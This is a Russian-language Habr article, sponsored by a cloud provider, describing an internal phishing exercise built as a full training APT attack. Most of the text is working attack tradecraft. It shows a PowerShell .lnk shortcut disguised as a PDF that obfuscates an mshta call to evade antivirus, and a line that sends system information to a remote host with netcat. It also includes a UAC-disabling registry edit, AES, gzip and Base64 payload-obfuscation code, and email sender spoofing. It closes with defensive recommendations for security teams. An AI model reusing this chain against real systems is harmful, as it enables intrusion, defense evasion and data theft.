Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2

—

от автора

Хабр, приготовься, рыбалка началась! Для тех кто не в лодке, в предыдущей части мы составили методологию и выбрали инструменты для проведения нестандартных фишинг-учений, чтобы проверить сотрудников нашей компании. В результате мы разработали стратегию полноценной тренировочной APT-атаки. Сегодня мы рассмотрим ее практическую реализацию. Но обо всем по порядку. 

Прочитав статью, читатель получит практическое представление о возможных действиях атакующих и способах проведения учений. Специалисты по информационной безопасности  и пентестеры ознакомятся с рекомендациями по защите инфраструктуры в рамках контракта или трудовых соглашений. Помните, что любое использование представленной информации должно быть ограничено рамками обучения. Автор не несет ответственности за любые негативные последствия, возникающие в результате неправомерного использования материалов статьи и полученных из нее сведений.

Шаг 0. Планирование

Для начала вспомним алгоритм разработанной нами стратегии, и пункты, которые необходимо выполнить.

 

На этапе доставки используется почтовое сообщение с прикрепленным файлом формата .lnk или же ярлыком. Неопытный пользователь может запутаться в разнообразии форматов, или письмо может остаться без внимания, так как было получено из «доверенного» источника. 

Приманкой будет важное сообщение от системы электронного документооборота с подмененным отправителем в теле письма. Это еще одна ловушка для сотрудника. Если вам интересны подробности этого процесса, то обязательно прочтите первую часть статьи!

После открытия файла начнется второй этап атаки — заражение. На компьютере жертвы будет скачан и открыт файл локального «веб-приложения» с обезвреженным кодом, который свяжется с командным сервером и оповестит о «заражении» машины. Чтобы усыпить подозрения, пользователю будет продемонстрирован и оригинальный документ, загруженный с удаленного сервера. Однако не все так просто: чтобы провести учебную атаку, необходимо не только отвлечь внимание потенциальной жертвы, но также обойти средства защиты информации (СЗИ). Для этого мы будем использовать маскировку.

Шаг 1. Этап вооружения

Подготовим удочки и гарпуны для учений, или в нашем случае — эксплойты и пэйлоады. Но для начала определимся с требованиями к ним. Для того чтобы преодолеть СЗИ и человеческий фактор, необходимо использовать:

  • ресурсы и файлы-приманки из рабочей среды;
  • короткие пэйлоады;
  • обфусцированные значения и криптографические преобразования;
  • низкие показатели идентификации вредоноса. 

Основываясь на постулатах выше, приступим к созданию первого эксплойта — ярлыка. Для этого нам не понадобятся какие-либо специальные средства, только Windows-окружение. 

Токсичный ярлык

Открываем мастер создания ярлыков и выбираем стандартный путь к PowerShell. К этому пути мы можем добавить опции и команды, с которыми по умолчанию должен запуститься PowerShell. Так как цель первого эксплойта не вместить в себя всю нагрузку вредоноса, а открыть второй эксплойт, то необходимо должным образом замаскировать вредоносную активность.

Если мы непосредственно обратимся к утилите, которая запустит вредонос,  такая угроза будет детектирована практически везде.

PS C:\Users\Mi> mshta.exe

Вместо этого мы используем операторы PowerShell для того чтобы обходным путем выполнить mshta или mshta.exe без указания пути, так как он уже имеется в переменных среды.  

Первое, что приходит в голову, — обратиться к свойствам объекта реестра и вытащить оттуда нужное название. 

PS C:\Users\Mi> gp -pa 'HKLM:\SOF*\Clas*\Appli*ons\m*h*e' NoOpenWith   : PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\mshta.exe PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications PSChildName  : mshta.exe PSDrive      : HKLM PSProvider   : Microsoft.PowerShell.Core\Registry

В данном случае команда gp  (сокращение от Get-ItemProperties) при обращении получает список свойств, а в запрос мы уже интегрировали маскировку через *, которая символизирует одно или более значений. Отфильтруем и передадим результат на исполнение mshta.exe через оператор группировки (), который рекурсивно выполнит функции и вернет полученное значение.

PS C:\Users\Mi> .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://habr.ru/13 mshta.exe https://habr.ru/13

В результате мы получили замаскированный путь к утилите mshta.exe, которая скачивает и устанавливает вредонос на втором этапе. Проведем тесты на детектируемость:

Некоторые антивирусы все же определяют сигнатуру. На текущий момент нас интересует детектируемость решениями Microsoft и ClamAV. Сменим порядок запроса, но суть останется прежней.

PS C:\Users\Mi> .(ls 'C:\Windows\System32' | Where-object 'Name' -like '?sh?a.?x?') https://habr.ru/13 

Знаком вопроса мы замаскировали название. После внесенных изменений проведем повторный тест:

Отлично, интересующие нас антивирусные продукты не видят наш эксплойт. При необходимости можно устранить и оставшиеся детекты.

Вернемся к окну с ярлыком и установим новый путь с командами для запуска PowerShell.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .(ls 'C:\Windows\System32' | Where-object 'Name' -like '?sh?a.?x?') https://habr.ru/13

Выберем соответствующее название, запуск в скрытом окне и значок PDF, который будет отображаться на компьютере пользователя:

%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe

Для проверки работоспособности эксплойта можно указать в конце команды любой сайт, но затем будет необходимо изменить ссылку на URI с файлом второго этапа. 

Вредоносный Webapp

Второй эксплойт представляет собой файл формата .hta, состоящий из в заранее подготовленного HTML с включением CSS + JS. При помощи утилиты mshta, которую мы указали в ярлыке, код в файле интерпретируется и компилируется. 

Вредоносные функции сосредоточены в коде JavaScript. Главные враги подобного решения — статический и динамический анализаторы, которые есть в антивирусных программах, песочницах и TI-платформах. 

Этот файл несет в себе основную нагрузку и неизбежно будет содержать множество обращений к системе в довольно большом по объему фрагменте кода. Поэтому в целях маскировки мы можем использовать объекты окружения PowerShell для шифрования, кодирования, сжатия передаваемых данных, а также обфускацию и задержку при выполнении. 

В нашем примере мы пойдем от обратного и разберем готовый эксплойт по частям.

Эксплойт под кодовым именем 13.hta состоит из двух основных элементов: маскировочный блок и ядро вредоноса. Основной модуль содержит обращение к командному серверу, который зафиксирует, что заражение успешно произошло и выполнит ряд действий. 

Get-ComputerInfo | nc.exe 91.124.1.2 4213 

Функция Decoy-файл найдет по имени файл из первого этапа атаки Положение №300.pdf.lnk и заменит его на оригинальный файл, открыв в браузере или через установленное по умолчанию приложение. 

Код для Decoy

function fJBZI($JfsS){      $WeFJn = gci -Recurse -Filter 'Положение №300 pdf.lnk' -File -ErrorAction SilentlyContinue -Path $JfsS;      if($WeFJn){          if($WeFJn.Fullname -Match '.zip' -eq $true){              $NzJDP = $WeFJn.Directory.Name.Replace('Temp1_','');              $dnuHk = gci -Recurse -Filter $NzJDP -File -ErrorAction SilentlyContinue -Path «$HOME»;              $JLdUun = Join-Path $dnuHk.Directory $NzJDP;              $GNSf = Join-Path $WeFJn.Directory '\*';              Move-Item -Path $CrjUERfL -Destination $WeFJn.Directory;              del $WeFJn.FullName -Force;              Compress-Archive -Path $GNSf -DestinationPath $JLdUun -Force;          } else {              del $WeFJn.FullName -force;              Move-Item -Path $CrjUERfL -Destination $WeFJn.Directory;          }      }  }  fJBZI([Environment]::GetFolderPath('Desktop'));

  1. Функция fJBZI сканирует рабочий стол пользователя в поисках ярлыков с именем «Положение №300.pdf.lnk»;
  2. Если найденный ярлык является файлом ZIP, скрипт извлекает содержимое ZIP-архива;
  3. Далее скрипт перемещает PDF-файл (предполагается, что это содержимое архива) на рабочий стол и удаляет ZIP-файл или ярлык;
  4. Если ZIP-файл не найден, он перемещает PDF-файл на рабочий стол.

Обход UAC/SmartScreen включает в себя функцию обращения к реестру и изменения значения, отвечающего за уровень контроля запуска приложений, а также использует новые сигнатуры для обхода SmartScreen.

Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0

Полученное ядро необходимо маскировать и преобразовать!

Маскировочный блок, в свою очередь, использует 3 основных способа сокрытия ядра полезной нагрузки: 

Для сокращения объема и воспрепятствования статическому анализу используется gzip-архивирование.

New-Object System.IO.Compression.GzipStream [Stream of data], ([IO.Compression.CompressionMode]:: Compress)

Поверх архива применяется шифрование методом AES-256, путем создания объекта в окружении PS с соответствующими опциями.

Код для шифрования AES-256

$zTdLOeg = «ключ_в_utf8»;  $yNRTxBE = «закодированный_текст_в_utf8»;  $vdiEhMj = New-Object 'System.Security.Cryptography.AesManaged';  $vdiEhMj.Mode = [System.Security.Cryptography.CipherMode]::ECB;  $vdiEhMj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;  $vdiEhMj.BlockSize = 128;  $vdiEhMj.KeySize = 256;  $vdiEhMj.Key = [System.Convert]::FromUTF8String($zTdLOeg);  $hPhPw = [System.Convert]::FromUTF8String($yNRTxBE);  $udBqxpbU = $hPhPw[0..15];  $vdiEhMj.IV = $udBqxpbU;  $eTsDHySTn = $vdiEhMj.CreateEncryptor();  $JrVyLoYTK = $eTsDHySTn.TransformFinalBlock($hPhPw, 0, $hPhPw.Length);  $vdiEhMj.Dispose();

Для следующего этапа применяется кодирование в Base64. Получившееся ядро в замаскированной оболочке записывается в переменную.

Кодирование

$yNRTXBE = 'AAAAAAAAAAAAAAAAAAAAAAUQSLIqVQKkgeiUIVMEDKFBx0d AqUjxNC2pF2azwgu5jrLa5CV8ki6NA4oVN1vj5bMzzwgADlgD6k3v  FcP9A2889VWEvaNplt1NmzacJKO/  RAcvOpiPODvSaRpCV50FE/reGmllrWniD4LCvV/j53/sActC/ NsGGHRDL8JpPvuRKt1Re3AKwbrzv5SEleT4Yv9WgHls7U1E+MkGs/ wXrJSN7BWdHF9QXslb6/  pwTYznyq1324dIMMUBWtd94+X7p2xzIYD  zsLiVW16huWgoeiPXtk9fMnuW+Q7Ir31YmlKvmwRWbsTJDPFxsfV0BaQ8xeQgH2qe8ahxlq2NB9ED xzYpEjD22ehY/  MsvTp6BsO0W6DXmWam6WfFdeUjQWKuOqfN25EHKit21X27bka SA7g9AStqrEzV0NC26ZDMJa078UlquB4iqt5MDivEd3LyKwtJGvFC wBUduk=';

Для распаковки ядра вредоноса в .hta-формате прописываются команды для дешифровки, декодирования и разархивации. Некоторые строки со значениями также закодированы в Base64.

Код для расшифровки

$zTdLOeg = 'QIRkeU1MSGtRc09uZ290Sm9TTk5lc2ZxeGxlemhxTW8=';  $vdiEhMj = New-Object 'System.Security.Cryptography.AesManaged';   $vdiEhMj.Mode = [System.Security.Cryptography.CipherMode]::ECB;  $vdiEhMj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;   $vdiEhMj.BlockSize = 128;$vdiEhMj.KeySize = 256;  $vdiEhMj.Key = [System.Convert]::FromBase64String($zTdLOeg);   $hPhPw = [System.Convert]::FromBase64String($yNRTxBE);   $udBqxpbU = $hPhPw[0..15];  $vdiEhMj.IV = $udBqxpbU;   $eTsDHySTn = $vdiEhMj.CreateDecryptor();   $JrVyLoYTK = $eTsDHySTn.TransformFinalBlock($hPhPw, 16, $hPhPw.Length — 16);  $vdiEhMj.Dispose();   $jQcAMdf = New-Object System.IO.MemoryStream(,$JrVyLoYTK);   $pKSKXid = New-Object System.IO.MemoryStream;  $wdTyKzCND = New-Object System.IO.Compression.GzipStream $jQcAMdf, ([IO.Compression.CompressionMode]:: Decompress);   $wdTyKzCND.CopyTo($pKSKXid);   $wdTyKzCND.Close();   $jQcAMdf.Close(); [byte[]]   $Kuvqqkj = $pKSKXid.ToArray();  $pcWmt = [System.Text.Encoding]::UTF8.GetString($Kuvqqkj);

Выполнение расшифрованного эксплойта

#$pcWmt | powershell -

В результате всех этих сложных манипуляций мы получаем отличные результаты.

Поведенческий анализ Антивируса Касперского все-таки обнаружил вредонос, но целевые антивирусные решения не отреагировали на наш файл, поэтому задачу по формированию пэйлоада можно считать выполненной.

Не забудем захостить итоговый файл, убрать расширение .hta и изменить ссылку в ярлыке.

Шаг 2. Этап доставки

Когда мы уже сидим на чемоданах и все снасти упакованы, пора погрузиться на корабль и отправиться на долгожданную рыбалку! Для того чтобы наше творение  дошло до получателя в исходном виде и письмо не вызывало подозрений, необходимо произвести подмену отправителя.

Напомним, что особенность обработки такого сообщения любым почтовым приложением заключается в том, что все поля до DATA остаются в метаданных, а поля после этой строки отображаются в самом сообщении. Соответственно, получатель не увидит narushitel@serverspace.ru пока не просмотрит исходный код сообщения, но зато поле From: Игорь Иванович ceo@serverspace.ru будет отображаться в строке «отправитель». Так выглядит само письмо:

А вот его исходный код, в котором можно увидеть настоящего отправителя в поле Return-Path: narushitel@serverspace.ru:

Задача сотрудника сводится к тому, чтобы зайти в исходный код и сверить строчку получателя с тем, что демонстрирует приложение. 

На развернутом  сервере GoPhish была создана целевая группа для рассылки путем импорта CSV:

Чтобы отправлять письма, необходимо иметь легитимный аккаунт, который будет использоваться для рассылки. В нашем случае для подсказки пользователю мы указали адрес narushitel@mail.serverspace.ru .

Затем мы составили фишинговое письмо с использованием HTML и CSS, преимущественно без картинок, поскольку многие почтовые клиенты блокируют изображения, как вложенные, так и с ссылкой на внешний ресурс. В сообщение мы добавили вредоносный файл и трекер, за счет которого будут фиксироваться открытия вредоносного сообщения. Письмо приняло следующий вид:

После того как мы сформировали все виды писем с вложением для реализации первого этапа атаки, можно начинать рыбалку!

Шаг 3. Сбор результатов и советы для сотрудников ИБ

В течение всей компании сотрудникам было разослано около 400 писем, из них были открыты 356 или 89% от общего количества. Повысилась активность на сканирующем устройстве, куда могли обращаться пользователи, чтобы проверить свои файлы на наличие вредоноса. В отдел кибербезопасности поступило 10 обращений по поводу подозрительного письма, что ускорило бы реагирование в случае реальной атаки. Однако около 16% машин оказались «заражены», что говорит о необходимости принятия дополнительных технических и организационных мер. Среди них — укрепление периметра, фильтрация почтового трафика внутри сети, hardening почтовых серверов и повышение осведомленности оставшегося процента сотрудников. 

Учения, безусловно, принесли пользу: общий процент открытия вредоносных писем в прошлые периоды составлял 41%, в текущем снизился до 16%. 

Чек-лист рекомендаций

  • Нужно предоставить пользователям организационные и технические инструменты для детектирования атаки: сканеры, антивирусные решения, настроенные анализаторы на почтовых серверах или отдельные решения Mail Security;
  • Необходимо организовать базовый hardering почтовых серверов во избежание слива учетных данных, ввести строгую парольную политику и многофакторную аутентификацию. При составлении учений мы поняли, что на одном из узлов есть уязвимость Broken Authentication, что помогло вовремя решить проблему.
  • Следует внедрить проактивную защиту, просканировать почтовый сервис открытыми платформами наподобие PT Knockin.
  • Нужно настроить блокировку приема почтовым сервером сообщений с потенциально вредоносным вложением: .lnk, .bat, .cmd, .ps1, .exe, .msi, .slk и прочими.

В ходе учений мы реализовали полноценную APT-атаку и проверили бдительность своих коллег. Это позволило не только выяснить уровень  осведомленности сотрудников, но и помогло здраво оценить защищенность инфраструктуры. Охоту можно объявлять закрытой!

Статья поддерживается командой Serverspace.

Serverspace — провайдер облачных сервисов, предоставляющий в аренду виртуальные серверы с ОС Linux и Windows в 8 дата-центрах: Россия, Беларусь, Казахстан, Нидерланды, Турция, США, Канада и Бразилия. Для построения ИТ-инфраструктуры провайдер также предлагает: создание сетей, шлюзов, бэкапы, сервисы CDN, DNS, объектное хранилище S3.

IT-инфраструктура | Кешбэк 17% по коду HABR


ссылка на оригинал статьи https://habr.com/ru/articles/811795/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *